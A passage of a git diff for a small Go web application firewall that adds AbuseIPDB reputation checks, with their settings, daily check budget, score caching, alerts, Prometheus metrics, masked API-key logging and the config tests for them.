or refused, or + the check that uses up the day's AbuseIPDB checks (see "AbuseIPDB" below). - `file_error`: a rule file edited while it runs that has an error, an edit of a state file set aside as `.bad`, a state file it could not write while running, or a replacement of the lookup database it could not read, which it @@ -913,7 +943,8 @@ is sent on one line: - `reason` is a short sentence; for a ban, the ban's `reason` in `bans.json`; for an `anomaly`, what was counted over which threshold, such as `requests per minute of the netblock 203.0.113.0/24 over the threshold of 1000`; - for a `reputation_hit`, `listed by a blocklist` or `listed by a DNSBL zone`. + for a `reputation_hit`, `listed by a blocklist`, `listed by a DNSBL zone` or + `scored by AbuseIPDB at or over SWWAF_ABUSEIPDB_MIN_SCORE`. - `detail` is what is particular to the event: for a ban, its `cause`, when it ends as `ban_expires`, in the form the request log gives it, and its `notes`, as `bans.json` gives them; for an `anomaly`, the `scope`, `client`, `net`, @@ -921,11 +952,12 @@ is sent on one line: `asn` and the `name` of the named netblock for `watch`, the `window`, `minute` or `hour`, the `kind`, `requests` or `bytes`, the `count`, which is weighted as the rate limits weigh theirs, and the `threshold`; for a `reputation_hit`, - the `source`, the URL of the blocklist or the zone; for `source_failure`, the - `source`, `geojs`, the URL of the list or the zone, the `error`, and for - GeoJS, when it is asked again, `asking_again_in`; for `file_error`, the - `file`, which for an edit set aside is the file it was renamed to, and the - `error`, which for a file that does not parse names where in it the error is. + the `source`, the URL of the blocklist, the zone or `abuseipdb`, and for + AbuseIPDB the `score`; for `source_failure`, the `source`, `geojs`, the URL of + the list, the zone or `abuseipdb`, the `error`, and for GeoJS, when it is + asked again, `asking_again_in`; for `file_error`, the `file`, which for an + edit set aside is the file it was renamed to, and the `error`, which for a + file that does not parse names where in it the error is. - `suppressed_repeats` is how many repeats the cooldown held back before this alert, and for a `summary`, those no other alert gives (see below). @@ -971,14 +1003,14 @@ and Slack this JSON object, shown indented; it is sent on one line: ``` An alert for the same event as the last one sent, on the same netblock, and for -a `reputation_hit` about the same blocklist or zone, or for a `file_error` about -the same file, or for a `source_failure` about the same source, or for an -`anomaly` in the same scope, with the same netblock, AS number or name, whatever -its window and kind, less than `SWWAF_ALERT_COOLDOWN` after it, is a repeat: it -is held back and counted, and the next alert sent for them gives that count as -`suppressed_repeats`. As each hour of the clock, in UTC, ends, the cooldowns -that have run out are dropped, and the repeats they held back, which no alert -sent since has given, go in that hour's summary. +a `reputation_hit` about the same blocklist, zone or AbuseIPDB, or for a +`file_error` about the same file, or for a `source_failure` about the same +source, or for an `anomaly` in the same scope, with the same netblock, AS number +or name, whatever its window and kind, less than `SWWAF_ALERT_COOLDOWN` after +it, is a repeat: it is held back and counted, and the next alert sent for them +gives that count as `suppressed_repeats`. As each hour of the clock, in UTC, +ends, the cooldowns that have run out are dropped, and the repeats they held +back, which no alert sent since has given, go in that hour's summary. Past `SWWAF_ALERT_MAX_PER_HOUR` alerts in an hour, the hour's other alerts are held back and counted by event. An alert held back this way starts no cooldown. @@ -1043,8 +1075,12 @@ with times in UTC. left out while no fetch of it has succeeded; and under `verdicts`, each verdict of a DNSBL zone still in use (see "DNS blocklists" below): its `zone`, the `client`'s address, whether the zone `listed` the client, and when the - zone gave it, `fetched`. As the file is read, the lists the settings no longer - name, and the verdicts of the zones they no longer name, are dropped. + zone gave it, `fetched`; and under `abuseipdb` (see "AbuseIPDB" below), the + `day`, in UTC, whose checks it counts, left out before the first, the checks + `spent` that day, and under `scores`, each score of AbuseIPDB still in use: + the `client`, its IPv4 address as a /32 or its IPv6 /64, its `score`, and when + AbuseIPDB gave it, `fetched`. As the file is read, the lists the settings no + longer name, and the verdicts of the zones they no longer name, are dropped. - `alerts.json`: the state of the alerts (see "Alerts" above), indented to be read: under `cooldowns`, for each event and netblock, with the `source` too for a `reputation_hit`, or event and `file` or `source`, or for an `anomaly`, @@ -1298,6 +1334,13 @@ scraped, and keeps this one as `exported_instance` unless the scrape sets verdict lists, a series that comes with the first; `smallwebwaf_reputation_queries_total`: the queries made to the zone; and `smallwebwaf_reputation_failures_total`: those that failed. +- While `SWWAF_ABUSEIPDB_KEY` is set, by `source`, `abuseipdb`: + `smallwebwaf_reputation_hits_total`: the requests whose client's AbuseIPDB + score is a hit, a series that comes with the first; + `smallwebwaf_reputation_queries_total`: the checks made, each of which spends + one of the day's budget; `smallwebwaf_reputation_failures_total`: those that + failed; and `smallwebwaf_reputation_daily_budget_remaining`: the checks the + day's `SWWAF_ABUSEIPDB_DAILY_BUDGET` has left. - `smallwebwaf_tracked_clients`: the clients in the table of clients. - `smallwebwaf_state_file_writes_total`, `smallwebwaf_state_file_write_failures_total`, @@ -1490,8 +1533,9 @@ goes through the candidates one by one. nothing. Edit a file, or add a rule file, and the running `smallwebwaf` picks up the change. Nothing is read from disk while serving a request. The files for the bans, the clients, the GeoJS answers, the copies of the lists, the - verdicts of the DNSBL zones and the alerts are built, with an edit taken in - while running (see "State files" above); the rest comes with its features. + verdicts of the DNSBL zones, AbuseIPDB's scores and the alerts are built, with + an edit taken in while running (see "State files" above); the rest comes with + its features. - Health checks, the metrics, and listing, adding and lifting bans or asking why a given address was refused, all on the one port every request uses: under `/_smallwebwaf/` on the app's own address, through traefik like any other @@ -1771,6 +1815,57 @@ with its key. A key in the name of any other zone is shown as given. Several zones refuse queries that come through a public resolver; `SWWAF_DNSBL_RESOLVER` names another resolver to ask through. +## AbuseIPDB + +While `SWWAF_ABUSEIPDB_KEY` holds the key of an AbuseIPDB account, `smallwebwaf` +asks AbuseIPDB's check endpoint, `https://api.abuseipdb.com/api/v2/check`, for +the abuse confidence score of a client's own address, from 0 to 100. It is unset +by default, for the reason no blocklist is named, and since AbuseIPDB needs an +account. An IPv6 client, a /64, is checked by the address of the request that +has it checked, and its score is used for the whole /64, whichever of its +addresses sends, so that one client costs at most one check every +`SWWAF_REPUTATION_CACHE_TTL`. + +Only a client whose history counts an offence is checked, so that the checks are +spent on suspects: so far, one that has broken a rate limit or a byte limit, +matched a ban rule, or had a request refused by a block rule. A client dropped +from the table of clients loses its history, and with it its offences. A client +is checked in the background, at its first request after its offence that +reaches the check: no request waits, a request refused under its ban is not +checked, and the request that has it checked, and any other from it before the +answer comes, goes on as from a client without a score. + +A score at or over `SWWAF_ABUSEIPDB_MIN_SCORE`, 75 by default, is a hit, and +`SWWAF_REPUTATION_ACTION` says what is done with its client, as for a DNSBL +zone's verdict (see "What it does so far" above). Each score, a hit or not, is +kept, in memory and in `reputation.json` (see "State files" above), and used for +`SWWAF_REPUTATION_CACHE_TTL` after AbuseIPDB gave it, 24 hours by default. The +client's first request after that has it checked again, if its history still +counts an offence. At most 100,000 scores are kept, the one fetched longest ago +dropped first. + +At most `SWWAF_ABUSEIPDB_DAILY_BUDGET` checks are made in a day, 900 by default, +below the 1,000 of AbuseIPDB's free accounts. The day is counted in UTC, from +00:00. Each check sent spends one of them, whatever AbuseIPDB answers, and the +checks spent today are kept in `reputation.json`, so that a restart does not +make the budget whole again. The check that spends the last of the day's budget +is logged and raised as a `source_failure` alert; from then until the day ends, +no client is checked, and a client without a score counts as one AbuseIPDB does +not list. + +A check fails when AbuseIPDB answers other than `200`, such as `429` past its +own daily limit or `401` for a wrong key, when its answer gives no +`abuseConfidenceScore`, and when it does not answer within +`SWWAF_REPUTATION_TIMEOUT`. A failure gives no score, and is counted, logged and +raised as a `source_failure` alert, held back as a repeat within +`SWWAF_ALERT_COOLDOWN`, and no client is checked for a minute after it. + +The key is sent to AbuseIPDB in the `Key` header, and nowhere else. The settings +logged at start show `********` in its place, and neither the log, the alerts, +the metrics nor `reputation.json` hold it. Given as a file, with +`SWWAF_ABUSEIPDB_KEY_FILE`, it can be kept out of the app's reach (see "Settings +given as files" above). + ## How the code is laid out - `cmd/smallwebwaf`: the binary, which only calls `internal/smallwebwaf`. @@ -1785,14 +1880,14 @@ names another resolver to ask through. limits, and writes the request's log line. Its `check` method is where a request is refused before anything reaches the app: for `SWWAF_DENY_NETS`, for a ban, for the country lists, for a blocklist, for a DNSBL zone's verdict, for - a rate limit, which bans the client, for a `block` or `ban` rule, the latter - banning the client, and for an announced body over the size limit; in - `observe` mode, only for the size limit, with what it would have refused for - noted in the log line. A request under `/_smallwebwaf/` that `check` lets - through is answered by `answerAdmin` instead of reaching the app. Once the - answer to a request passed to the app has ended, `countBytes` counts its bytes - for the byte limits, and once any request but the health check has ended, - `countAnomalies` counts it for the anomaly thresholds. + AbuseIPDB's score, for a rate limit, which bans the client, for a `block` or + `ban` rule, the latter banning the client, and for an announced body over the + size limit; in `observe` mode, only for the size limit, with what it would + have refused for noted in the log line. A request under `/_smallwebwaf/` that + `check` lets through is answered by `answerAdmin` instead of reaching the app. + Once the answer to a request passed to the app has ended, `countBytes` counts + its bytes for the byte limits, and once any request but the health check has + ended, `countAnomalies` counts it for the anomaly thresholds. - `internal/metrics`: the metrics, counted as the other parts tell it what happened, and served in the Prometheus text format. - `internal/bans`: the ban ledger: each netblock's bans with their notes, how @@ -1808,9 +1903,11 @@ names another resolver to ask through. - `internal/reputation`: fetches the blocklists and the file `SWWAF_ASN_LIMIT_PERCENT_URL` names as they are due, keeps the last good copy of each, and tells which blocklists list an address and what percentage the - file gives an AS number; and asks the DNSBL zones about clients in the - background, through the standard library's resolver, keeps their verdicts, and - tells which zones' verdicts list an address. + file gives an AS number; asks the DNSBL zones about clients in the background, + through the standard library's resolver, keeps their verdicts, and tells which + zones' verdicts list an address; and checks clients with AbuseIPDB in the + background, keeps their scores and the checks spent today, and tells whether a + client's score is a hit. - `internal/ratelimit`: the table of clients: counts each client's requests and bytes, tells when they take it over a rate limit or a byte limit, and keeps each client's history. @@ -1838,11 +1935,11 @@ names another resolver to ask through. Besides the Go standard library, `github.com/hashicorp/golang-lru/v2` keeps the table of clients to 20,000 and the GeoJS answers to 100,000, dropping the least -recently seen, the DNSBL zones' verdicts to 100,000, dropping the one fetched -longest ago, the anomaly counters to 20,000, dropping the one counted least -recently, and the banned netblocks in the order they were last seen, from which -the ledger picks the ban to drop past `SWWAF_MAX_BANS`, and -`github.com/prometheus/client_golang` keeps the metrics and serves them, and +recently seen, the DNSBL zones' verdicts and AbuseIPDB's scores to 100,000 each, +dropping the one fetched longest ago, the anomaly counters to 20,000, dropping +the one counted least recently, and the banned netblocks in the order they were +last seen, from which the ledger picks the ban to drop past `SWWAF_MAX_BANS`, +and `github.com/prometheus/client_golang` keeps the metrics and serves them, and `github.com/fsnotify/fsnotify` tells `smallwebwaf` when a state file or a rule file is saved, or the lookup database replaced, and `github.com/oschwald/maxminddb-golang/v2` reads the lookup database, which the diff --git a/internal/alerts/alerts.go b/internal/alerts/alerts.go index 3305307..b4d975a 100644 --- a/internal/alerts/alerts.go +++ b/internal/alerts/alerts.go @@ -47,10 +47,11 @@ const ( // EventWAFBlock comes with the Core Rule Set; nothing raises it yet. EventWAFBlock = "waf_block" // EventReputationHit is a request whose client a blocklist or a DNSBL - // zone lists. + // zone lists, or whose AbuseIPDB score is a hit. EventReputationHit = "reputation_hit" // EventSourceFailure is GeoJS failing or refusing smallwebwaf, a fetch - // of a list failing, or a query to a DNSBL zone failing or refused. + // of a list failing, a query to a DNSBL zone or a check with AbuseIPDB + // failing or refused, or the day's AbuseIPDB checks used up. EventSourceFailure = "source_failure" // EventFileError is a rule file or state file edited while smallwebwaf // runs that does not parse, a replacement of the lookup database that diff --git a/internal/config/config.go b/internal/config/config.go index b5615fa..e1014bd 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -155,14 +155,22 @@ type Config struct { // DNSBLZones are the DNSBL zones clients are asked about // (SWWAF_DNSBL_ZONES), through DNSBLResolver (SWWAF_DNSBL_RESOLVER), or // the host's resolver while that is the zero AddrPort. - // ReputationAction is what is done with a client a zone's verdict lists - // (SWWAF_REPUTATION_ACTION): deny, limit or log; for limit, - // ReputationLimitPercent is the percentage of every limit it gets. A - // verdict is used for ReputationCacheTTL after it was fetched - // (SWWAF_REPUTATION_CACHE_TTL), and a query may take ReputationTimeout - // (SWWAF_REPUTATION_TIMEOUT). Neither can be off. + // AbuseIPDBKey is the key of the AbuseIPDB account clients are checked + // with (SWWAF_ABUSEIPDB_KEY), "" while it is unset and none is. A score + // of AbuseIPDBMinScore or more is a hit (SWWAF_ABUSEIPDB_MIN_SCORE), and + // at most AbuseIPDBDailyBudget checks are made a day + // (SWWAF_ABUSEIPDB_DAILY_BUDGET). + // ReputationAction is what is done with a client a zone's verdict lists, + // or whose score is a hit (SWWAF_REPUTATION_ACTION): deny, limit or log; + // for limit, ReputationLimitPercent is the percentage of every limit it + // gets. A verdict or a score is used for ReputationCacheTTL after it was + // fetched (SWWAF_REPUTATION_CACHE_TTL), and a query or a check may take + // ReputationTimeout (SWWAF_REPUTATION_TIMEOUT). Neither can be off. DNSBLZones []string DNSBLResolver netip.AddrPort + AbuseIPDBKey string + AbuseIPDBMinScore int64 + AbuseIPDBDailyBudget int ReputationAction string ReputationLimitPercent int64 ReputationCacheTTL time.Duration @@ -440,6 +448,9 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { BlocklistRefresh: env.refresh("SWWAF_BLOCKLIST_REFRESH", "24h"), DNSBLZones: env.zones("SWWAF_DNSBL_ZONES"), DNSBLResolver: env.resolver("SWWAF_DNSBL_RESOLVER"), + AbuseIPDBKey: env.secret("SWWAF_ABUSEIPDB_KEY"), + AbuseIPDBMinScore: env.percent("SWWAF_ABUSEIPDB_MIN_SCORE", "75"), + AbuseIPDBDailyBudget: env.numberNotOff("SWWAF_ABUSEIPDB_DAILY_BUDGET", "900"), ReputationCacheTTL: env.durationNotOff("SWWAF_REPUTATION_CACHE_TTL", "24h"), ReputationTimeout: env.durationNotOff("SWWAF_REPUTATION_TIMEOUT", "2s"), BanResponse: env.banResponse("SWWAF_BAN_RESPONSE", "403"), @@ -1110,10 +1121,10 @@ func (e *environment) webhookHeaders(name string) http.Header { } // secret reads a setting that is a secret another service gave, such as -// an ntfy token, "" while it is unset. It is sent in a header, which -// cannot hold a control character, so one in it is an error. The log -// shows ******** in place of a value that is not empty, and an error -// shows none of it. +// an ntfy token or an AbuseIPDB key, "" while it is unset. It is sent in +// a header, which cannot hold a control character, so one in it is an +// error. The log shows ******** in place of a value that is not empty, and +// an error shows none of it. func (e *environment) secret(name string) string { value, _ := e.lookup(name) diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 34d3dd0..62ce931 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -63,6 +63,9 @@ const ( blocklistAction = "SWWAF_BLOCKLIST_ACTION" dnsblZones = "SWWAF_DNSBL_ZONES" dnsblResolver = "SWWAF_DNSBL_RESOLVER" + abuseIPDBKey = "SWWAF_ABUSEIPDB_KEY" + abuseIPDBMinScore = "SWWAF_ABUSEIPDB_MIN_SCORE" + abuseIPDBDailyBudget = "SWWAF_ABUSEIPDB_DAILY_BUDGET" reputationAction = "SWWAF_REPUTATION_ACTION" reputationCacheTTL = "SWWAF_REPUTATION_CACHE_TTL" reputationTimeout = "SWWAF_REPUTATION_TIMEOUT" @@ -1526,6 +1529,76 @@ func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) { } } +func TestAbuseIPDBSettingsAsSet(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{}) + if cfg.AbuseIPDBKey != "" || cfg.AbuseIPDBMinScore != 75 || + cfg.AbuseIPDBDailyBudget != 900 { + t.Errorf("by default, the key %q, the minimum score %d and the daily budget %d, "+ + "want none, 75 and 900", cfg.AbuseIPDBKey, cfg.AbuseIPDBMinScore, + cfg.AbuseIPDBDailyBudget) + } + + cfg = fromEnvironment(t, environment{ + abuseIPDBKey: token, abuseIPDBMinScore: "0", abuseIPDBDailyBudget: "1", + }) + if cfg.AbuseIPDBKey != token || cfg.AbuseIPDBMinScore != 0 || + cfg.AbuseIPDBDailyBudget != 1 { + t.Errorf("set, the key %q, the minimum score %d and the daily budget %d, "+ + "want %s, 0 and 1", cfg.AbuseIPDBKey, cfg.AbuseIPDBMinScore, + cfg.AbuseIPDBDailyBudget, token) + } +} + +func TestInvalidAbuseIPDBSettingStopsTheStartSayingWhatIsWrong(t *testing.T) { + t.Parallel() + + const ( + notScore = " is not a percentage, a whole number from 0 to 100" + notBudget = " is not a whole number above zero, such as 5000" + ) + + for _, tc := range []struct{ name, value, want string }{ + {abuseIPDBMinScore, "101", `"101"` + notScore}, + {abuseIPDBMinScore, off, `"off"` + notScore}, + {abuseIPDBDailyBudget, "0", `"0"` + notBudget}, + {abuseIPDBDailyBudget, off, `"off"` + notBudget}, + // The key itself is never shown. + { + abuseIPDBKey, token + "\r", + "holds a control character, such as the carriage return of a Windows line end", + }, + } { + t.Run(tc.name+"="+tc.value, func(t *testing.T) { + t.Parallel() + + _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) + + want := tc.name + ": " + tc.want + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + }) + } +} + +func TestAbuseIPDBKeyIsLoggedMasked(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{abuseIPDBKey: token}) + + var out bytes.Buffer + + slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) + + logged := out.String() + if strings.Contains(logged, token) || + !strings.Contains(logged, `"`+abuseIPDBKey+`":"********"`) { + t.Errorf("the key is not logged masked: %s", logged) + } +} + func TestSizesAndOff(t *testing.T) { t.Parallel() @@ -1956,6 +2029,9 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { blocklistAction: actionDeny, dnsblZones: "", dnsblResolver: "", + abuseIPDBKey: "", + abuseIPDBMinScore: "75", + abuseIPDBDailyBudget: "900", reputationAction: "limit:25", reputationCacheTTL: defaultReputationCacheTTL, reputationTimeout: "2s", diff --git a/internal/metrics/metrics.go b/internal/metrics/metrics.go index d867e7c..910c89c 100644 --- a/internal/metrics/metrics.go +++ b/internal/metrics/metrics.go @@ -257,57 +257,37 @@ func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() i ) } +// sourceLabel is the label of the reputation metrics: a list's URL, a +// DNSBL zone, its key masked, or abuseipdb. +const sourceLabel = "source" + // AddReputation adds the metrics of the lists fetched from URLs and of the // DNSBL zones, by source, each list's URL or each zone, its key masked as -// config.MaskZoneKey masks it: the requests whose client a blocklist or a -// zone's verdict lists, which ReputationHit counts, and, read from lists -// and dnsbl as the metrics are asked for, for a list, the fetches that -// failed and when the copy in use was fetched, and for a zone, the queries -// made and those that failed. It is called once, before ReputationHit. +// config.MaskZoneKey masks it: the requests whose client a blocklist, a +// zone's verdict or AbuseIPDB's score lists, which ReputationHit counts, +// and, read from lists and dnsbl as the metrics are asked for, for a list, +// the fetches that failed and when the copy in use was fetched, and for a +// zone, the queries made and those that failed. It is called once, before +// ReputationHit. func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) { - const ( - sourceLabel = "source" - failuresHelp = "Fetches of the list, or queries to the DNSBL zone, that failed." - ) - m.reputationHits = counterVec("smallwebwaf_reputation_hits_total", - "Requests whose client a blocklist or a DNSBL zone lists, by the "+ - "blocklist's URL or the zone.", + "Requests whose client a blocklist, a DNSBL zone or AbuseIPDB lists, by "+ + "the blocklist's URL, the zone, or abuseipdb.", []string{sourceLabel}) m.registry.MustRegister(m.reputationHits) for _, zone := range dnsbl.Zones() { source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)} - m.registry.MustRegister( - prometheus.NewCounterFunc(prometheus.CounterOpts{ - Name: "smallwebwaf_reputation_queries_total", - Help: "Queries to the DNSBL zone.", - ConstLabels: source, - }, func() float64 { - return float64(dnsbl.Queries(zone)) - }), - prometheus.NewCounterFunc(prometheus.CounterOpts{ - Name: "smallwebwaf_reputation_failures_total", - Help: failuresHelp, - ConstLabels: source, - }, func() float64 { - return float64(dnsbl.Failures(zone)) - }), - ) + m.addReputationQueries(source, func() int { return dnsbl.Queries(zone) }) + m.addReputationFailures(source, func() int { return dnsbl.Failures(zone) }) } for _, listURL := range lists.URLs() { source := prometheus.Labels{sourceLabel: listURL} + m.addReputationFailures(source, func() int { return lists.Failures(listURL) }) m.registry.MustRegister( - prometheus.NewCounterFunc(prometheus.CounterOpts{ - Name: "smallwebwaf_reputation_failures_total", - Help: failuresHelp, - ConstLabels: source, - }, func() float64 { - return float64(lists.Failures(listURL)) - }), prometheus.NewGaugeFunc(prometheus.GaugeOpts{ Name: "smallwebwaf_reputation_last_fetch_timestamp_seconds", Help: "When the copy of the list in use was fetched, in seconds since " + @@ -325,8 +305,28 @@ func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL } } +// AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb, +// read from abuseIPDB as the metrics are asked for: the checks made, those +// that failed, and how many checks the day's budget has left. It is +// called once, after AddReputation, while SWWAF_ABUSEIPDB_KEY is set. +func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) { + source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource} + + m.addReputationQueries(source, abuseIPDB.Checked) + m.addReputationFailures(source, abuseIPDB.Failures) + m.registry.MustRegister( + prometheus.NewGaugeFunc(prometheus.GaugeOpts{ + Name: "smallwebwaf_reputation_daily_budget_remaining", + Help: "Checks of the day's SWWAF_ABUSEIPDB_DAILY_BUDGET not yet spent.", + ConstLabels: source, + }, func() float64 { + return float64(abuseIPDB.BudgetLeft()) + }), + ) +} + // ReputationHit counts a request whose client source lists: a blocklist, -// by its URL, or a DNSBL zone, its key masked. +// by its URL, a DNSBL zone, its key masked, or AbuseIPDB, abuseipdb. func (m *Metrics) ReputationHit(source string) { m.reputationHits.WithLabelValues(source).Inc() } @@ -470,6 +470,32 @@ func (m *Metrics) StateFileEditSetAside(name string) { m.stateFileEditsSetAside.WithLabelValues(name).Inc() } +// addReputationQueries adds the counter of the queries to source, a DNSBL +// zone, or of the checks of clients with AbuseIPDB, which count tells. +func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() int) { + m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{ + Name: "smallwebwaf_reputation_queries_total", + Help: "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.", + ConstLabels: source, + }, func() float64 { + return float64(count()) + })) +} + +// addReputationFailures adds the counter of the fetches of source, a +// list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB, +// that failed, which count tells. +func (m *Metrics) addReputationFailures(source prometheus.Labels, count func() int) { + m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{ + Name: "smallwebwaf_reputation_failures_total", + Help: "Fetches of the list, queries to the DNSBL zone, or checks with " + + "AbuseIPDB, that failed.", + ConstLabels: source, + }, func() float64 { + return float64(count()) + })) +} + // statusClass returns the class of status, such as 2xx, or none when no // status was sent. func statusClass(status int) string { diff --git a/internal/proxy/biased.go b/internal/proxy/biased.go index 00462f4..5370ff0 100644 --- a/internal/proxy/biased.go +++ b/internal/proxy/biased.go @@ -28,18 +28,19 @@ func biasedThresholdsSet(cfg *config.Config) bool { // limitPercentages returns the client's limit percentages, for the rate // limits and for the byte limits, by its AS number and country as looked -// up, each "" when unknown, and the blocklists and DNSBL zones that list -// it. Each is the lowest of those the settings give it, the first of them -// in the order below when several are lowest: the percentage -// SWWAF_ASN_LIMIT_PERCENT gives its AS number, the one the file +// up, each "" when unknown, and the blocklists, DNSBL zones and AbuseIPDB +// that list it. Each is the lowest of those the settings give it, the +// first of them in the order below when several are lowest: the +// percentage SWWAF_ASN_LIMIT_PERCENT gives its AS number, the one the file // SWWAF_ASN_LIMIT_PERCENT_URL names gives it, the one // SWWAF_COUNTRY_LIMIT_PERCENT gives its country, for a client without a // country, SWWAF_UNKNOWN_LIMIT_PERCENT, for a client a blocklist lists, // the percentage of SWWAF_BLOCKLIST_ACTION while it is limit, and for a -// client a DNSBL zone's verdict lists, the percentage of -// SWWAF_REPUTATION_ACTION while it is limit. For the byte limits, -// SWWAF_ASN_BYTES_PERCENT and SWWAF_COUNTRY_BYTES_PERCENT take the place -// of the first three for an AS number or a country they list. +// client a DNSBL zone's verdict lists, or whose AbuseIPDB score is a hit, +// the percentage of SWWAF_REPUTATION_ACTION while it is limit. For the +// byte limits, SWWAF_ASN_BYTES_PERCENT and SWWAF_COUNTRY_BYTES_PERCENT +// take the place of the first three for an AS number or a country they +// list. func (rq *request) limitPercentages() (percentage, percentage) { cfg := rq.h.config asn, country := rq.line.ASN, rq.line.Country @@ -59,9 +60,9 @@ func (rq *request) limitPercentages() (percentage, percentage) { blocklisted = percentage{cfg.BlocklistLimitPercent, "SWWAF_BLOCKLIST_ACTION"} } - dnsblListed := percentage{percent: whole} - if rq.dnsblListed && cfg.ReputationAction == "limit" { - dnsblListed = percentage{cfg.ReputationLimitPercent, "SWWAF_REPUTATION_ACTION"} + reputationListed := percentage{percent: whole} + if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" { + reputationListed = percentage{cfg.ReputationLimitPercent, "SWWAF_REPUTATION_ACTION"} } asnRequests := lowest(given(cfg.ASNLimitPercent, asn, "SWWAF_ASN_LIMIT_PERCENT"), @@ -78,8 +79,8 @@ func (rq *request) limitPercentages() (percentage, percentage) { countryBytes = given(cfg.CountryBytesPercent, country, "SWWAF_COUNTRY_BYTES_PERCENT") } - return lowest(asnRequests, countryRequests, unknown, blocklisted, dnsblListed), - lowest(asnBytes, countryBytes, unknown, blocklisted, dnsblListed) + return lowest(asnRequests, countryRequests, unknown, blocklisted, reputationListed), + lowest(asnBytes, countryBytes, unknown, blocklisted, reputationListed) } // given returns the percentage percents, the setting named setting, gives diff --git a/internal/proxy/lookup_test.go b/internal/proxy/lookup_test.go index 34a809c..f0192aa 100644 --- a/internal/proxy/lookup_test.go +++ b/internal/proxy/lookup_test.go @@ -349,6 +349,7 @@ const unansweredGeoJSURL = "unanswered://geojs/v1/ip/geo.json" func TestMain(m *testing.M) { transport, _ := http.DefaultTransport.(*http.Transport) transport.RegisterProtocol("unanswered", unansweredGeoJS{}) + transport.RegisterProtocol("abuseipdb", abuseIPDBStandIn{}) m.Run() } diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index edb130f..1bca56d 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -59,6 +59,9 @@ type Params struct { // GeoJSURL is where clients' AS numbers and countries are looked up // while SWWAF_LOOKUP_SOURCE is geojs, normally lookup.URL. GeoJSURL string + // AbuseIPDBURL is where clients are checked with AbuseIPDB while + // SWWAF_ABUSEIPDB_KEY is set, normally reputation.AbuseIPDBURL. + AbuseIPDBURL string // LookupFile is the lookup database they are looked up in while // SWWAF_LOOKUP_SOURCE is file, and nil otherwise. LookupFile *lookup.File @@ -71,15 +74,17 @@ type Params struct { Rules *rules.Files // Alerts receive the alert for each ban the proxy makes or makes // permanent, for each count over an anomaly threshold, for each request - // whose client a blocklist or a DNSBL zone lists, and for GeoJS failing, - // a fetch of a list failing or a query to a DNSBL zone failing. + // whose client a blocklist, a DNSBL zone or AbuseIPDB lists, and for + // GeoJS failing, a fetch of a list failing, a query to a DNSBL zone or + // a check with AbuseIPDB failing, or the day's AbuseIPDB checks used up. Alerts *alerts.Queue } // Server is the server smallwebwaf runs, with the parts of the proxy // whose state the state files keep, the lookup database, nil unless // SWWAF_LOOKUP_SOURCE is file, the lists fetched from URLs, which its Run -// fetches, the DNSBL zones' verdicts, and the metrics. +// fetches, the DNSBL zones' verdicts, AbuseIPDB's scores and checks +// spent, and the metrics. type Server struct { *http.Server @@ -90,6 +95,7 @@ type Server struct { LookupFile *lookup.File Lists *reputation.Lists DNSBL *reputation.DNSBL + AbuseIPDB *reputation.AbuseIPDB Metrics *metrics.Metrics } @@ -102,7 +108,7 @@ type Server struct { func New(params Params) *Server { errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn) m := metrics.New(params.Config.MetricsTopN, params.Config.InstanceName) - lists, dnsbl := newReputation(params) + lists, dnsbl, abuseIPDB := newReputation(params, m) h := &handler{ config: params.Config, requestLog: params.RequestLog, @@ -140,6 +146,7 @@ func New(params Params) *Server { lookupFile: params.LookupFile, lists: lists, dnsbl: dnsbl, + abuseIPDB: abuseIPDB, rules: params.Rules, alerts: params.Alerts, } @@ -159,7 +166,6 @@ func New(params Params) *Server { }) m.AddBansAndClients(h.ledger, h.limiter, params.Now) m.AddRules(params.Rules) - m.AddReputation(h.lists, h.dnsbl) return &Server{ Server: &http.Server{ @@ -181,14 +187,18 @@ func New(params Params) *Server { LookupFile: h.lookupFile, Lists: h.lists, DNSBL: h.dnsbl, + AbuseIPDB: h.abuseIPDB, Metrics: m, } } -// newReputation returns the lists fetched from URLs and the DNSBL zones' -// verdicts, as the settings in params name them, with none fetched or -// asked for yet. -func newReputation(params Params) (*reputation.Lists, *reputation.DNSBL) { +// newReputation returns the lists fetched from URLs, the DNSBL zones' +// verdicts and AbuseIPDB's scores, as the settings in params name them, +// with none fetched, asked for or checked yet, and adds their metrics to +// m, AbuseIPDB's while SWWAF_ABUSEIPDB_KEY is set. +func newReputation( + params Params, m *metrics.Metrics, +) (*reputation.Lists, *reputation.DNSBL, *reputation.AbuseIPDB) { cfg := params.Config lists := reputation.New(reputation.Params{ BlocklistURLs: cfg.BlocklistURLs, Refresh: cfg.BlocklistRefresh, @@ -200,8 +210,20 @@ func newReputation(params Params) (*reputation.Lists, *reputation.DNSBL) { Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts, }) + abuseIPDB := reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{ + URL: params.AbuseIPDBURL, Key: cfg.AbuseIPDBKey, MinScore: cfg.AbuseIPDBMinScore, + 